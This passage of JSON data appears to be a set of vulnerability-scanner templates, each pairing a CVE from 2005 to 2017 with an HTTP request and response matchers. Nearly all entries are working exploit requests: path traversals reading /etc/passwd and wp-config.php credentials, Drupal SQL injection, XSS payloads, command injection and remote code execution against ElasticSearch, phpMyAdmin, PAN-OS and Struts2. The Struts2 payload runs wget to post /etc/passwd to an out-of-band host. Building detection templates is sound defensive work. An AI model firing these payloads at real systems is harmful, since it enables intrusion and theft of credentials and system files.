/wp-content/plugins//wp-planet/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/wp-planet/rss.class/scripts/magpie_debug.php?url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["WP Planet"]},{"type":"word","part":"body_2","words":[""]},{"type":"word","part":"header_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-10037","info":{"name":"DomPHP 0.83 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/photoalbum/index.php?urlancien=&url=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2962","info":{"name":"Belkin N150 Router 1.00.08/1.00.09 - Path Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3704","info":{"name":"Drupal SQL Injection","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/?q=node&destination=node"],"body":"pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5({{num}})),1)%23]=bob&name[0]=a","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["PDOException","{{md5({{num}})}}"],"condition":"and"},{"type":"status","status":[500]}]}]},{"id":"CVE-2014-9180","info":{"name":"Eleanor CMS - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/go.php?http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2014-8676","info":{"name":"Simple Online Planning Tool <1.3.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/process/feries.php?fichier=../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-2321","info":{"name":"ZTE Cable Modem Web Shell","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/web_shell_cmd.gch"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["please input shell command","ZTE Corporation. All rights reserved"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5368","info":{"name":"WordPress Plugin WP Content Source Control - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5258","info":{"name":"webEdition 6.3.8.0 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webEdition/showTempFile.php?file=../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-3120","info":{"name":"ElasticSearch v1.1.1/1.2 RCE","severity":"medium"},"requests":[{"raw":["POST /_search?pretty HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Language: en\nContent-Type: application/x-www-form-urlencoded\n\n{\n \"size\": 1,\n \"query\": {\n \"filtered\": {\n \"query\": {\n \"match_all\": {\n }\n }\n }\n },\n \"script_fields\": {\n \"command\": {\n \"script\": \"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\\\"cat /etc/passwd\\\").getInputStream()).useDelimiter(\\\"\\\\\\\\A\\\").next();\"\n }\n }\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4577","info":{"name":"WP AmASIN \u2013 The Amazon Affiliate Shop - Local File Inclusion","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"/wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/reviews.php?url=/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4544","info":{"name":"Podcast Channels < 0.28 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5187","info":{"name":"Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"/wp-content/plugins/tom-m8te/\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /wp-content/plugins/tom-m8te/tom-download-file.php?file=../../../../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9607","info":{"name":"Netsweeper 4.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/remotereporter/load_logfiles.php?server=018192&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4550","info":{"name":"Shortcode Ninja <= 1.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/shortcode-ninja/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9606","info":{"name":"Netsweeper 4.0.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-5181","info":{"name":"Last.fm Rotation 1.0 - Path Traversal","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"/wp-content/plugins/lastfm-rotation/\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /wp-content/plugins/lastfm-rotation/lastfm-proxy.php?snode=/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-1203","info":{"name":"Eyou E-Mail <3.6 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntype='|cat /etc/passwd||'\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-9119","info":{"name":"WordPress DB Backup <=4.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2014-4941","info":{"name":"Cross RSS 1.7 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"/wp-content/plugins/cross-rss/\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2006-1681","info":{"name":"Cherokee HTTPD <=0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2006-2842","info":{"name":"Squirrelmail <=1.4.6 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/src/redirect.php?plugins[]=../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-1496","info":{"name":"Joomla! Cmimarketplace 0.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-4223","info":{"name":"KR-Web <=1.1b2 - Remote File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/adm/krgourl.php?DOCUMENT_ROOT=http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-1558","info":{"name":"Cisco Linksys WVC54GCA 1.00R22/1.00R24 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/adm/file.cgi?next_file=%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-4679","info":{"name":"Joomla! Portfolio Nexus - Remote File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-0932","info":{"name":"Horde/Horde Groupware - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/horde/util/barcode.php?type=../../../../../../../../../../../etc/./passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-2100","info":{"name":"Joomla! JoomlaPraise Projectfork 2.0.10 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_projectfork§ion=../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-1872","info":{"name":"Adobe Coldfusion <=8.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/CFIDE/wizards/common/_logintowizard.cfm?%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-2015","info":{"name":"Joomla! MooFAQ 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-3053","info":{"name":"Joomla! Agora 3.0.0b - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-0347","info":{"name":"Autonomy Ultraseek - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cs.html?url=http://www.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2009-1151","info":{"name":"PhpMyAdmin Scripts - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /scripts/setup.php HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\naction=test&configuration=O:10:\"PMA_Config\":1:{s:6:\"source\",s:11:\"/etc/passwd\";}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-0545","info":{"name":"ZeroShell <= 1.0beta11 Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2009-3318","info":{"name":"Joomla! Roland Breedveld Album 1.14 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_album&Itemid=128&target=../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-4202","info":{"name":"Joomla! Omilen Photo Gallery 0.5b - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_omphotogallery&controller=../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2009-5020","info":{"name":"AWStats < 6.95 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/awstats/awredir.pl?url=interact.sh","{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=interact.sh"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2009-5114","info":{"name":"WebGlimpse 2.18.7 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2005-2428","info":{"name":"Lotus Domino R5 and R6 WebMail - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/names.nsf/People?OpenView"],"matchers-condition":"and","matchers":[{"type":"regex","name":"domino-username","part":"body","regex":["(\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2005-3344","info":{"name":"Horde Groupware Unauthenticated Admin Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/horde/admin/user.php","{{BaseURL}}/admin/user.php"],"headers":{"Content-Type":"text/html"},"matchers-condition":"and","matchers":[{"type":"word","words":["Horde :: User Administration"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2005-3634","info":{"name":"SAP Web Application Server 6.x/7.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/sap/bc/BSp/sap/menu/fameset.htm?sap--essioncmd=close&sapexiturl=https%3a%2f%2finteract.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2011-1669","info":{"name":"WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4804","info":{"name":"Joomla! Component com_kp - 'Controller' Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4618","info":{"name":"Advanced Text Widget < 2.0.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/advanced-text-widget/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"\")","contains(body_1, \"Advanced Text Widget\")"],"condition":"and"}]}]},{"id":"CVE-2011-5181","info":{"name":"ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/clickdesk-live-support-chat/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["ClickDesk Live Support - Live Chat"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5107","info":{"name":"Alert Before Your Post <= 0.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/alert-before-your-post/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4624","info":{"name":"GRAND FlAGallery 1.57 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/flash-album-gallery/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Grand Flagallery"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/flash-album-gallery/facebook.php?i=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5179","info":{"name":"Skysa App Bar 1.04 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/skysa-official/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Skysa App"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/skysa-official/skysa.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5106","info":{"name":"WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/flexible-custom-post-type/edit-post.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-2744","info":{"name":"Chyrp 2.x - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-2780","info":{"name":"Chyrp 2.x - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-0049","info":{"name":"Majordomo2 - SMTP/HTTP Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5252","info":{"name":"Orchard 'ReturnUrl' Parameter URI - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fhttp://interact.sh%3f"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2011-4926","info":{"name":"Adminimize 1.7.22 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/adminimize/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Adminimize ==="]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/adminimize/adminimize_page.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-5265","info":{"name":"Featurific For WordPress 1.6.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/featurific-for-wordpress/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Featurific For Wordpress"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4336","info":{"name":"Tiki Wiki CMS Groupware 7.0 Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/snarf_ajax.php?url=1&ajax=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-3315","info":{"name":"Cisco CUCM, UCCX, and Unified IP-IVR- Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2011-4640","info":{"name":"WebTitan < 3.60 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["GET /login-x.php HTTP/1.1\nHost: {{Hostname}}\n","POST /login-x.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nX-Requested-With: XMLHttpRequest\n\njaction=login&language=en_US&username={{username}}&password={{password}}\n","GET /logs-x.php?jaction=view&fname=../../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body_2, \"success\\\":true\")","contains(body_1, \"WebTitan\")","regex('root:.*:0:0:', body)","status_code_3 == 200"],"condition":"and"}]}]},{"id":"CVE-2017-15944","info":{"name":"Palo Alto Network PAN-OS - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\"; HTTP/1.1\nHost: {{Hostname}}\nCookie: PHPSESSID={{randstr}};\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["@start@Success@end@"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-5631","info":{"name":"KMCIS CaseAware - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-18598","info":{"name":"WordPress Qards - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/qards/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["console.log"]}]}]},{"id":"CVE-2017-18530","info":{"name":"Rating by BestWebSoft < 0.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/rating-bws/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Rating by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-18558","info":{"name":"Testimonials by BestWebSoft < 0.1.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/bws-testimonials/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Testimonials by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-9805","info":{"name":"Apache Struts2 S2-052 - Remote Code Execution","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/struts2-rest-showcase/orders/3","{{BaseURL}}/orders/3"],"body":"\n \n \n 0\n \n \n \n \n \n false\n 0\n \n \n \n \n \n wget\n --post-file\n /etc/passwd\n {{interactsh-url}}\n \n false\n \n \n \n \n java.lang.ProcessBuilder\n start\n \n \n asdasd\n \n asdasd\n \n \n \n \n \n false\n 0\n 0\n false\n \n false\n \n \n \n 0\n \n \n \n \n \n \n \n \n\n","headers":{"Content-Type":"application/xml"},"matchers-condition":"and","matchers":[{"type":"word","words":["Debugging 